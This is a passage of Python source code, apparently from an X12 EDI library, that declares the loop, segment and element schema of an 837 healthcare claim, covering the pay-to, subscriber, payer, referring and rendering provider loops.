),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Billing Provider Address",
position="0250",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Billing Provider City, State, ZIP Code",
position="0300",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Billing Provider Tax Identification",
position="0350",
repeat="1",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["EI", "SY"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Billing Provider UPIN/License Information",
position="0350",
repeat="2",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"PER",
Properties(
desc="Billing Provider Contact Information",
position="0400",
repeat="2",
req_sit="S",
syntax="P0304 P0506 P0708",
),
Element(
"PER01",
Properties(
desc="Contact Function Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["IC"],
),
),
Element(
"PER02",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=2,
codes=[],
),
),
Element(
"PER03",
Properties(
desc="Communication Number Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["EM", "FX", "TE"],
),
),
Element(
"PER04",
Properties(
desc="Communication Number",
req_sit="R",
data_type=("AN", "1", "256"),
position=4,
codes=[],
),
),
Element(
"PER05",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=5,
codes=["EM", "EX", "FX", "TE"],
),
),
Element(
"PER06",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=6,
codes=[],
),
),
Element(
"PER07",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=7,
codes=["EM", "EX", "FX", "TE"],
),
),
Element(
"PER08",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=8,
codes=[],
),
),
Element(
"PER09",
Properties(
desc="Contact Inquiry Reference",
req_sit="N",
data_type=("AN", "1", "20"),
position=9,
codes=[],
),
),
),
)
parsed_837_2010AB = Loop(
"2010AB",
Properties(
desc="Pay-to Address Name",
looptype="",
position="0150",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Pay-to Address Name",
position="0150",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["87"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Pay-to Address - ADDRESS",
position="0250",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Pay-To Address City, State, ZIP Code",
position="0300",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
)
parsed_837_2010AC = Loop(
"2010AC",
Properties(
desc="Pay-To Plan Name", looptype="", position="0150", repeat="1", req_sit="S"
),
Segment(
"NM1",
Properties(
desc="Pay-To Plan Name",
position="0150",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["PE"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=8,
codes=["PI", "XV"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Pay-to Plan Address",
position="0250",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Pay-To Plan City, State, ZIP Code",
position="0300",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Pay-to Plan Secondary Identification",
position="0350",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["2U", "FY", "NF"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Pay-To Plan Tax Identification Number",
position="0350",
repeat="1",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["EI"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2010BA = Loop(
"2010BA",
Properties(
desc="Subscriber Name", looptype="", position="0150", repeat="1", req_sit="R"
),
Segment(
"NM1",
Properties(
desc="Subscriber Name",
position="0150",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["IL"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=8,
codes=["II", "MI"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Subscriber Address",
position="0250",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Subscriber City, State, ZIP Code",
position="0300",
repeat="1",
req_sit="S",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"DMG",
Properties(
desc="Subscriber Demographic Information",
position="0320",
repeat="1",
req_sit="S",
syntax="P0102 P1011 C1105",
),
Element(
"DMG01",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["D8"],
),
),
Element(
"DMG02",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=2,
codes=[],
),
),
Element(
"DMG03",
Properties(
desc="Gender Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=3,
codes=["F", "M", "U"],
),
),
Element(
"DMG04",
Properties(
desc="Marital Status Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=4,
codes=[],
),
),
Composite(
"C056",
Properties(
desc="Composite Race or Ethnicity Information",
refdes="",
repeat="10",
req_sit="N",
seq="05",
),
),
Element(
"DMG06",
Properties(
desc="Citizenship Status Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=6,
codes=[],
),
),
Element(
"DMG07",
Properties(
desc="Country Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=[],
),
),
Element(
"DMG08",
Properties(
desc="Basis of Verification Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"DMG09",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=9,
codes=[],
),
),
Element(
"DMG10",
Properties(
desc="Code List Qualifier Code",
req_sit="N",
data_type=("ID", "1", "3"),
position=10,
codes=[],
),
),
Element(
"DMG11",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=11,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Subscriber Secondary Identification",
position="0350",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["SY"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Property and Casualty Claim Number",
position="0350",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["Y4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"PER",
Properties(
desc="Property and Casualty Subscriber Contact Information",
position="0400",
repeat="1",
req_sit="S",
syntax="P0304 P0506 P0708",
),
Element(
"PER01",
Properties(
desc="Contact Function Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["IC"],
),
),
Element(
"PER02",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=2,
codes=[],
),
),
Element(
"PER03",
Properties(
desc="Communication Number Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["TE"],
),
),
Element(
"PER04",
Properties(
desc="Communication Number",
req_sit="R",
data_type=("AN", "1", "256"),
position=4,
codes=[],
),
),
Element(
"PER05",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=5,
codes=["EX"],
),
),
Element(
"PER06",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=6,
codes=[],
),
),
Element(
"PER07",
Properties(
desc="Communication Number Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=7,
codes=[],
),
),
Element(
"PER08",
Properties(
desc="Communication Number",
req_sit="N",
data_type=("AN", "1", "256"),
position=8,
codes=[],
),
),
Element(
"PER09",
Properties(
desc="Contact Inquiry Reference",
req_sit="N",
data_type=("AN", "1", "20"),
position=9,
codes=[],
),
),
),
)
parsed_837_2010BB = Loop(
"2010BB",
Properties(
desc="Payer Name", looptype="", position="0150", repeat="1", req_sit="R"
),
Segment(
"NM1",
Properties(
desc="Payer Name",
position="0150",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["PR"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=8,
codes=["PI", "XV"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Payer Address", position="0250", repeat="1", req_sit="S", syntax=""
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Payer City, State, ZIP Code",
position="0300",
repeat="1",
req_sit="S",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Payer Secondary Identification",
position="0350",
repeat="3",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["2U", "EI", "FY", "NF"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Billing Provider Secondary Identification",
position="0350",
repeat="2",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2310A = Loop(
"2310A",
Properties(
desc="Referring Provider Name",
looptype="",
position="2500",
repeat="2",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Referring Provider Name",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DN", "P3"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Referring Provider Secondary Identification",
position="2710",
repeat="3",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2310B = Loop(
"2310B",
Properties(
desc="Rendering Provider Name",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Rendering Provider Name",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["82"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"PRV",
Properties(
